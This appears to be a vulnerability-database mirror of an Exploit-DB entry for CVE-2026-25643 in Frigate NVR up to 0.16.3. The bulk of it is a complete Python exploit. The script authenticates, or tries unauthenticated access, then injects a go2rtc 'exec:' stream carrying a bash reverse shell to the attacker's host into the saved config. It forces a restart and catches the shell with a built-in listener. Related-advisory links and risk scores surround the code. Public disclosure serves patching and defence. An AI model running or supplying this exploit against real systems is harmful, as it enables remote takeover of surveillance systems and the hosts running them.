Lucene search
K

Frigate NVR 0.16.3 - Remote Code Execution

🗓️ 30 Apr 2026 00:00:00Reported by jduardo2704Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

Frigate NVR versions up to 0.16.3 allow remote code execution via CVE-2026-25643.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for OS Command Injection in Frigate
7 Mar 202620:23
githubexploit
GithubExploit
Exploit for Improper Privilege Management in Frigate
24 Feb 202621:14
githubexploit
GithubExploit
Exploit for CVE-2026-25643
5 Feb 202621:23
githubexploit
ATTACKERKB
CVE-2026-25643
6 Feb 202619:16
attackerkb
Circl
CVE-2026-25643
6 Feb 202620:17
circl
CNNVD
Frigate 安全漏洞
6 Feb 202600:00
cnnvd
CVE
CVE-2026-25643
6 Feb 202619:16
cve
Cvelist
CVE-2026-25643 Frigate Affected by Authenticated Remote Command Execution (RCE) and Container Escape
6 Feb 202619:16
cvelist
EUVD
EUVD-2026-5586
6 Feb 202619:16
euvd
NVD
CVE-2026-25643
6 Feb 202620:16
nvd
Rows per page
# Exploit Title: Frigate NVR 0.16.3 - Remote Code Execution 
# Date: 2026-02-05
# Exploit Author: jduardo2704
# Vendor Homepage: https://frigate.video/
# Software Link: https://github.com/blakeblackshear/frigate
# Version: <= 0.16.3
# Tested on: Linux / Docker
# CVE: CVE-2026-25643
# Advisory: https://github.com/blakeblackshear/frigate/security/advisories/GHSA-4c97-5jmr-8f6x

import requests
import argparse
import sys
import json
import urllib3
import yaml
import time
import socket
import threading
import select
import re

# Silence SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Colors
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
RESET = '\033[0m'

# Event to synchronize the listener with the exploit thread
exploit_ready = threading.Event()

def print_status(msg, color=BLUE, symbol="[*]"):
    print(f"{color}{symbol} {msg}{RESET}")

def login_frigate(session, url, username, password):
    try:
        print_status(f"Authenticating as {username}...", BLUE)
        res = session.post(f"{url}/api/login", json={"user": username, "password": password}, verify=False, timeout=10)
        return res.status_code == 200
    except:
        return False

def get_config(session, url):
    try:
        res = session.get(f"{url}/api/config/raw", timeout=10)
        content = res.text.strip()
        if content.startswith('"'):
            try:
                config_raw = json.loads(content)
            except:
                config_raw = content
        else:
            config_raw = content
            
        return yaml.safe_load(config_raw)
    except:
        return None

def send_payload(session, url, data):
    final_yaml = yaml.dump(data)
    try:
        session.post(
            f"{url}/api/config/save?save_option=restart", 
            data=final_yaml, 
            headers={"Content-Type": "text/plain"}, 
            timeout=5 
        )
    except:
        pass 

def inject_and_exploit(url, username, password, lhost, lport):
    """Function to run in background thread"""
    session = requests.Session()
    session.verify = False

    # 1. AUTHENTICATION LOGIC
    if username and password:
        if not login_frigate(session, url, username, password):
            print_status("Login failed with provided credentials.", RED, "[-]")
            sys.exit(1) 
        print_status("Logged in successfully.", BLUE)
    else:
        print_status("No credentials provided. Trying unauthenticated access...", YELLOW)

    # 2. CONFIG RETRIEVAL & VALIDATION
    print_status("Fetching configuration...", BLUE)
    config = get_config(session, url)
    
    if not config or not isinstance(config, dict):
        print_status("Failed to retrieve a valid configuration dictionary.", RED, "[-]")
        print_status("Target might be authenticated or API is restricted.", RED, "[-]")
        sys.exit(1)

    # 3. PAYLOAD PREPARATION
    try:
        payload = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
        
        # Inject go2rtc
        if 'go2rtc' not in config or config['go2rtc'] is None: config['go2rtc'] = {}
        if 'streams' not in config['go2rtc'] or config['go2rtc']['streams'] is None: config['go2rtc']['streams'] = {}
        config['go2rtc']['streams']['cve_poc'] = [f"exec:{payload}"]

        # Inject camera trigger
        if 'cameras' not in config or config['cameras'] is None: config['cameras'] = {}
        config['cameras']['cve_trigger'] = {
            'ffmpeg': {'inputs': [{'path': 'rtsp://127.0.0.1:8554/cve_poc', 'roles': ['detect']}]},
            'detect': {'enabled': False},
            'audio': {'enabled': False}, 
            'enabled': True
        }
        
        print_status("Payload injected into config structure.", GREEN, "[+]")

        # 4. SIGNAL LISTENER TO START
        exploit_ready.set()
        time.sleep(5) 
        print_status("Sending malicious config & triggering restart...", YELLOW)
        send_payload(session, url, config)

    except Exception as e:
        print_status(f"Error during payload injection: {e}", RED, "[-]")
        sys.exit(1)

def shell_handler(lport):
    """Handles the incoming reverse shell connection"""
    
    print_status("Waiting for validation...", BLUE)
    if not exploit_ready.wait(timeout=20): 
        print_status("Timeout waiting for exploit thread validation.", RED, "[-]")
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    
    try:
        s.bind(('0.0.0.0', int(lport)))
        s.listen(1)
        print_status(f"Validation OK. Listening on 0.0.0.0:{lport}...", GREEN, "[+]")
        s.settimeout(60) 
        
        try:
            conn, addr = s.accept()
            print_status(f"Connection received from {addr[0]}!", GREEN, "[+]")
            print(f"{YELLOW}--- SHELL ESTABLISHED ---\n{RESET}")
            
            s.settimeout(None) 
            conn.settimeout(None)

            while True:
                r, _, _ = select.select([sys.stdin, conn], [], [])
                
                if conn in r:
                    data = conn.recv(4096)
                    if not data: break
                    
                    # CLEAN OUTPUT LOGIC
                    output = data.decode(errors='ignore')
                    
                    # Remove annoying bash TTY errors using Regex
                    # Matches "bash: cannot set terminal process group (PID): Inappropriate ioctl..."
                    output = re.sub(r"bash: cannot set terminal process group \(\d+\): Inappropriate ioctl for device\r?\n?", "", output)
                    # Matches "bash: no job control in this shell"
                    output = output.replace("bash: no job control in this shell\r\n", "")
                    output = output.replace("bash: no job control in this shell\n", "")
                    
                    sys.stdout.write(output)
                    sys.stdout.flush()
                    
                if sys.stdin in r:
                    cmd = sys.stdin.readline()
                    conn.send(cmd.encode())

        except socket.timeout:
            print_status("Exploit sent but no connection received (Timeout > 60s).", RED, "[-]")

    except KeyboardInterrupt:
        print_status("\nClosing connection.", RED)
    except Exception as e:
        print_status(f"Listener error: {e}", RED)
    finally:
        s.close()

def main():
    parser = argparse.ArgumentParser(description="Frigate <= 0.16.3 RCE (Auto-Shell) - CVE-2026-25643")
    parser.add_argument('-u', '--url', required=True, help="Target URL")
    parser.add_argument('-U', '--username', required=False, help="Username (optional)")
    parser.add_argument('-P', '--password', required=False, help="Password (optional)")
    parser.add_argument('-lh', '--lhost', required=True, help="Your IP (LHOST)")
    parser.add_argument('-lp', '--lport', required=True, help="Your Port (LPORT)")
    args = parser.parse_args()

    exploit_thread = threading.Thread(
        target=inject_and_exploit, 
        args=(args.url.rstrip('/'), args.username, args.password, args.lhost, args.lport)
    )
    exploit_thread.daemon = True
    exploit_thread.start()

    shell_handler(args.lport)

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Apr 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.19.1
EPSS0.01265
SSVC
40